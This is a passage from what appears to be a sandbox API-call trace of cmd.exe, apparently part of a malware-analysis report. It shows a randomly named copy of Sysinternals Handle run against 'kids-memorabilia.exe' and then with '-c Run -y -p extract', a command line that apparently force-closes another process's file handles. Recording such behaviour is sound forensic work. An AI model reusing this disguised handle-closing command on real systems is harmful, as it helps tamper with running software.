Size=0xe) returned 0x4f0e50 [0093.746] _wcsnicmp (_String1="UseBackQ", _String2="usebackq", _MaxCount=0x8) returned 0 [0093.746] _wcsnicmp (_String1="Tokens=3", _String2="usebackq", _MaxCount=0x8) returned -1 [0093.746] _wcsnicmp (_String1="Tokens=", _String2="useback", _MaxCount=0x7) returned -1 [0093.746] _wcsnicmp (_String1="Toke", _String2="eol=", _MaxCount=0x4) returned 15 [0093.746] _wcsnicmp (_String1="Tokens=", _String2="delims=", _MaxCount=0x7) returned 16 [0093.746] _wcsnicmp (_String1="Token", _String2="skip=", _MaxCount=0x5) returned 1 [0093.746] _wcsnicmp (_String1="Tokens=", _String2="tokens=", _MaxCount=0x7) returned 0 [0093.746] wcstol (in: _String="3,6 delims=: \"", _EndPtr=0x1af380, _Radix=0 | out: _EndPtr=0x1af380*=",6 delims=: \"") returned 3 [0093.746] wcstol (in: _String="6 delims=: \"", _EndPtr=0x1af380, _Radix=0 | out: _EndPtr=0x1af380*=" delims=: \"") returned 6 [0093.746] _wcsnicmp (_String1="delims=:", _String2="usebackq", _MaxCount=0x8) returned -17 [0093.746] _wcsnicmp (_String1="delims=", _String2="useback", _MaxCount=0x7) returned -17 [0093.746] _wcsnicmp (_String1="deli", _String2="eol=", _MaxCount=0x4) returned -1 [0093.746] _wcsnicmp (_String1="delims=", _String2="delims=", _MaxCount=0x7) returned 0 [0093.746] GetProcessHeap () returned 0x4f0000 [0093.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f0e50 | out: hHeap=0x4f0000) returned 1 [0093.746] GetProcessHeap () returned 0x4f0000 [0093.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xe) returned 0x4f0e50 [0093.746] GetProcessHeap () returned 0x4f0000 [0093.746] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4f0e20, Size=0xe) returned 0x4f0e68 [0093.746] GetProcessHeap () returned 0x4f0000 [0093.746] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x4f0e68) returned 0xe [0093.746] GetProcessHeap () returned 0x4f0000 [0093.746] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4f0e38, Size=0x14) returned 0x504480 [0093.746] GetProcessHeap () returned 0x4f0000 [0093.746] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x504480) returned 0x14 [0093.747] _wpopen (_Command="bv6ncK8c.exe -accepteula \"kids-memorabilia.exe\" -nobanner", _Mode="rb") returned 0x76be2960 [0093.759] feof (_File=0x76be2960) returned 0 [0093.759] ferror (_File=0x76be2960) returned 0 [0093.759] GetProcessHeap () returned 0x4f0000 [0093.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x108) returned 0x5044a0 [0093.759] fgets (in: _Buf=0x5044a8, _MaxCount=256, _File=0x76be2960 | out: _Buf="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n", _File=0x76be2960) returned="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n" [0095.336] feof (_File=0x76be2960) returned 0 [0095.336] ferror (_File=0x76be2960) returned 0 [0095.336] GetProcessHeap () returned 0x4f0000 [0095.336] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5044a0, Size=0x208) returned 0x5044a0 [0095.336] GetProcessHeap () returned 0x4f0000 [0095.336] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5044a0) returned 0x208 [0095.336] fgets (in: _Buf=0x5044ee, _MaxCount=442, _File=0x76be2960 | out: _Buf="\r\r\n", _File=0x76be2960) returned="\r\r\n" [0095.336] feof (_File=0x76be2960) returned 0 [0095.336] ferror (_File=0x76be2960) returned 0 [0095.336] GetProcessHeap () returned 0x4f0000 [0095.336] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5044a0, Size=0x308) returned 0x5044a0 [0095.336] GetProcessHeap () returned 0x4f0000 [0095.336] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5044a0) returned 0x308 [0095.336] fgets (in: _Buf=0x5044f1, _MaxCount=695, _File=0x76be2960 | out: _Buf="", _File=0x76be2960) returned 0x0 [0095.787] _pclose (in: _File=0x76be2960 | out: _File=0x76be2960) returned 1 [0095.789] GetProcessHeap () returned 0x4f0000 [0095.789] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5044a0, Size=0x9e) returned 0x5044a0 [0095.789] GetProcessHeap () returned 0x4f0000 [0095.789] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5044a0) returned 0x9e [0095.789] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x5044f1, cbMultiByte=73, lpWideCharStr=0x5044a8, cchWideChar=73 | out: lpWideCharStr="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n\r\r\n") returned 73 [0095.789] GetProcessHeap () returned 0x4f0000 [0095.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x400a) returned 0x514c08 [0095.789] GetProcessHeap () returned 0x4f0000 [0095.789] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x514c08, Size=0x3c) returned 0x514c08 [0095.789] GetProcessHeap () returned 0x4f0000 [0095.789] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x514c08) returned 0x3c [0095.789] GetProcessHeap () returned 0x4f0000 [0095.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x400a) returned 0x514c50 [0095.789] GetProcessHeap () returned 0x4f0000 [0095.789] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x514c50, Size=0xb8) returned 0x514c50 [0095.789] GetProcessHeap () returned 0x4f0000 [0095.789] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x514c50) returned 0xb8 [0095.789] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af074 | out: _Buffer="\r\n") returned 2 [0095.789] _get_osfhandle (_FileHandle=1) returned 0x7 [0095.789] GetFileType (hFile=0x7) returned 0x2 [0095.790] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0095.790] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af034 | out: lpMode=0x1af034) returned 1 [0095.790] _get_osfhandle (_FileHandle=1) returned 0x7 [0095.790] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1af060, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af060*=0x2) returned 1 [0095.792] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0095.792] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af070 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0095.792] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af070 | out: _Buffer=">") returned 1 [0095.792] _get_osfhandle (_FileHandle=1) returned 0x7 [0095.792] GetFileType (hFile=0x7) returned 0x2 [0095.792] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0095.792] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af038 | out: lpMode=0x1af038) returned 1 [0095.792] _get_osfhandle (_FileHandle=1) returned 0x7 [0095.792] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x1af064, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x1af064*=0x26) returned 1 [0095.793] _get_osfhandle (_FileHandle=1) returned 0x7 [0095.793] GetFileType (hFile=0x7) returned 0x2 [0095.793] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0095.793] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af2bc | out: lpMode=0x1af2bc) returned 1 [0095.793] _get_osfhandle (_FileHandle=1) returned 0x7 [0095.793] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x1af2e8, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x1af2e8*=0x1) returned 1 [0095.794] _get_osfhandle (_FileHandle=1) returned 0x7 [0095.794] GetFileType (hFile=0x7) returned 0x2 [0095.794] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0095.794] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af2a0 | out: lpMode=0x1af2a0) returned 1 [0095.794] _get_osfhandle (_FileHandle=1) returned 0x7 [0095.794] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x514c10*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x1af2cc, lpReserved=0x0 | out: lpBuffer=0x514c10*, lpNumberOfCharsWritten=0x1af2cc*=0xc) returned 1 [0095.795] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x1af2d8 | out: _Buffer=" -accepteula -c Run -y -p extract -nobanner ") returned 44 [0095.795] _get_osfhandle (_FileHandle=1) returned 0x7 [0095.795] GetFileType (hFile=0x7) returned 0x2 [0095.795] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0095.795] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af298 | out: lpMode=0x1af298) returned 1 [0095.795] _get_osfhandle (_FileHandle=1) returned 0x7 [0095.795] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2c, lpNumberOfCharsWritten=0x1af2c4, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af2c4*=0x2c) returned 1 [0095.796] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x1af2f4 | out: _Buffer=") ") returned 2 [0095.796] _get_osfhandle (_FileHandle=1) returned 0x7 [0095.796] GetFileType (hFile=0x7) returned 0x2 [0095.797] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0095.797] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af2b4 | out: lpMode=0x1af2b4) returned 1 [0095.797] _get_osfhandle (_FileHandle=1) returned 0x7 [0095.797] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1af2e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af2e0*=0x2) returned 1 [0095.797] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af314 | out: _Buffer="\r\n") returned 2 [0095.797] _get_osfhandle (_FileHandle=1) returned 0x7 [0095.797] GetFileType (hFile=0x7) returned 0x2 [0095.797] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0095.798] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af2d4 | out: lpMode=0x1af2d4) returned 1 [0095.798] _get_osfhandle (_FileHandle=1) returned 0x7 [0095.798] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1af300, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af300*=0x2) returned 1 [0095.799] GetConsoleTitleW (in: lpConsoleTitle=0x1aee24, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0095.799] GetFileAttributesW (lpFileName="bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x20 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0095.800] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0095.801] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0095.802] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0095.802] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0095.802] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0095.802] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0095.802] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0095.802] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0095.802] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0095.802] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0095.802] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0095.802] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0095.802] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0095.802] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0095.802] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0095.802] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0095.802] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FOR") returned -4 [0095.802] _wcsicmp (_String1="bv6ncK8c.exe", _String2="IF") returned -7 [0095.802] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REM") returned -16 [0095.802] GetProcessHeap () returned 0x4f0000 [0095.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x210) returned 0x504548 [0095.802] GetProcessHeap () returned 0x4f0000 [0095.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7a) returned 0x504760 [0095.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x418) returned 0x5047e8 [0095.803] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5047f0, lpFilePart=0x1ae944 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1ae944*="Desktop") returned 0x25 [0095.803] SetErrorMode (uMode=0x0) returned 0x1 [0095.803] GetProcessHeap () returned 0x4f0000 [0095.803] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5047e8, Size=0x6e) returned 0x5047e8 [0095.803] GetProcessHeap () returned 0x4f0000 [0095.803] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5047e8) returned 0x6e [0095.803] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0095.803] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0095.803] GetProcessHeap () returned 0x4f0000 [0095.803] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x120) returned 0x504860 [0095.803] GetProcessHeap () returned 0x4f0000 [0095.803] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x238) returned 0x504988 [0095.803] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504988, Size=0x122) returned 0x504988 [0095.803] GetProcessHeap () returned 0x4f0000 [0095.803] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x504988) returned 0x122 [0095.803] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0095.803] GetProcessHeap () returned 0x4f0000 [0095.803] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xe0) returned 0x504ab8 [0095.803] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504ab8, Size=0x76) returned 0x504ab8 [0095.803] GetProcessHeap () returned 0x4f0000 [0095.803] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x504ab8) returned 0x76 [0095.803] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0095.804] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x1ae6e0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ae6e0) returned 0x504b38 [0095.804] FindClose (in: hFindFile=0x504b38 | out: hFindFile=0x504b38) returned 1 [0095.804] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0095.804] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0095.804] GetConsoleTitleW (in: lpConsoleTitle=0x1aebb8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0095.804] InitializeProcThreadAttributeList (in: lpAttributeList=0x1aea40, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1aeb08 | out: lpAttributeList=0x1aea40, lpSize=0x1aeb08) returned 1 [0095.804] UpdateProcThreadAttribute (in: lpAttributeList=0x1aea40, dwFlags=0x0, Attribute=0x60001, lpValue=0x1aeb00, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1aea40, lpPreviousValue=0x0) returned 1 [0095.804] GetStartupInfoW (in: lpStartupInfo=0x1ae9fc | out: lpStartupInfo=0x1ae9fc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0095.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x18) returned 0x504b38 [0095.804] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0095.804] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0095.804] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0095.804] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0095.804] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0095.804] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0095.804] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0095.804] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0095.804] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="FN=\"kid", _MaxCount=0x7) returned -3 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0095.805] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0095.805] GetProcessHeap () returned 0x4f0000 [0095.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504b38 | out: hHeap=0x4f0000) returned 1 [0095.805] GetProcessHeap () returned 0x4f0000 [0095.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xa) returned 0x4f0e38 [0095.805] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0095.806] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1aea9c*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe 